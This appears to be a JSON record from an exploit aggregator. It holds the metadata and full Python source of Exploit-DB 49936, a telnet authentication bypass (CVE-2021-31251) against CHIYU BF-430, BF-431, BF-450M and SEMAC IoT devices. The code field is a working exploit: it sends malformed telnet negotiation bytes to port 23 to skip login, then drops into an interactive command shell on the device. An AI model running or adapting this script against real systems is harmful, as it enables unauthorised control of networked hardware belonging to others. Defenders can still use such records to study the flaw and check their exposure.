{"exploit":{"id":"EDB-49936","name":"CHIYU IoT Devices - 'Telnet' Authentication Bypass","description":"CHIYU IoT Devices - 'Telnet' Authentication Bypass","cves":["CVE-2021-31251"],"author":"sirpedrotavares","published":"2021-06-03","platform":"hardware","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/49936","path":"exploits/hardware/remote/49936.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-49936.py","vulnerabilities":[{"id":"CVE-2021-31251","state":"PUBLISHED","title":null,"titleSource":null,"description":"An authentication bypass in telnet server in BF-430 and BF431 232/422 TCP/IP Converter, BF-450M and SEMAC from CHIYU Technology Inc allows obtaining a privileged connection with the target device by supplying a specially malformed request and an attacker may force the remote telnet server to believe that the user has already authenticated.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2021-31251","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2021-31251"},"updatedAt":"2024-08-03T22:55:53.355Z","retrievedAt":"2026-11-27T14:06:52.117Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-49936.png?v=2","url":"https://exploitbin.com/exploits/EDB-49936","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-49936/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-49936/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python3\n# Exploit Title: CHIYU IoT Devices - 'Telnet' Authentication Bypass\n# Date: 01/06/2021\n# Exploit Author: sirpedrotavares\n# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html\n# Software Link: https://www.chiyu-tech.com/category-hardware.html\n# Version:  BF-430, BF-431, BF-450M, and SEMAC   - all firmware versions < June 2021\n# Tested on:  BF-430, BF-431, BF-450M, and SEMAC\n# CVE: CVE-2021-31251\n# Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks\n\n# \"\"\"\n# Description: Several IoT devices from the CHIYU Technology firm are\n# vulnerable to a flaw that permits bypassing the telnet authentication\n# process due to an overflow during the negotiation of the telnet protocol.\n# Telnet authentication is bypassed by supplying a specially malformed\n# request, and an attacker may force the remote telnet server to believe that\n# the user has already authenticated. Several models are vulnerable,\n# including BF-430, BF-431, BF-450M, and SEMAC with the most recent firmware\n# versions.\n# CVE ID: CVE-2021-31251\n# CVSS: Critical - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n# URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31251\n# \"\"\"\n\n\n# usage: python3 exploit.py IP\n\nimport socket\nimport time\nimport sys\n\nHOST = sys.argv[1]\nPORT = 23\n\nsocket.setdefaulttimeout(10)\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\ntry:\n    connect = s.connect_ex((HOST, PORT))\n    try:\n        print(\"[+] Try to connect...\\n\")\n        time.sleep(1)\n        s.send(b\"\\xff\\xfb\\x01\\xff\\xfb\\x03\\xff\\xfd\\x18\")\n        s.recv(1024).strip()\n        s.send(b\"\\xff\\xfb\\x01\\xff\\xfb\\x03\\xff\\xfd\\x18\")\n        s.recv(1024).strip()\n        s.send(b\"\\xff\\xfb\\x01\\xff\\xfb\\x03\\xff\\xfd\\x18\")\n        result = s.recv(1024).strip()\n        if result != b'\\xff\\xfe\\x01':\n            s.send(b\"\\x09\")\n            result = s.recv(1024).strip()\n\n        if connect == 0 and \"sername\" not in str(result):\n            if b\"\\xff\\xfe\\x01\" == result:\n                print(\"Connected! ;)\\ntype: \\\"help\\\"\\n\\n\")\n                while 1:\n                        cmd = input(\"(CHIYU pwnShell:) $ \")\n                        body = cmd+\"\\n\"\n                        s.send(body.encode('utf-8', 'ignore'))\n                        result = s.recv(1024).decode('utf8', 'ignore')\n\n                        if not len(result):\n                            print(\"[+] CHIYU device not available, try\nagain ... (terminating)\")\n                            s.close()\n                            break\n                        print(result.strip('CMD>'))\n                        b = \"\\n\"\n                        s.send(b.encode('utf-8', 'ignore'))\n                        result = s.recv(1024).decode()\n                        print(result.strip('CMD>'))\n    except KeyboardInterrupt:\n        print(\"\\n[+] ^C Received, closing connection\")\n        s.close()\n    except EOFError:\n        print(\"\\n[+] ^D Received, closing connection\")\n        s.close()\n\nexcept socket.error:\n    print(\"[+] Unable to connect to CHIYU device.\")","sha256":"74b41f2a9932abfd8ebfd89f1a626ee093da6497acf6d607414c4193fcb8a662","bytes":3099,"fetchedAt":"2026-11-27T14:06:51.941Z","encoding":"utf-8 (display only; download retains original bytes)"}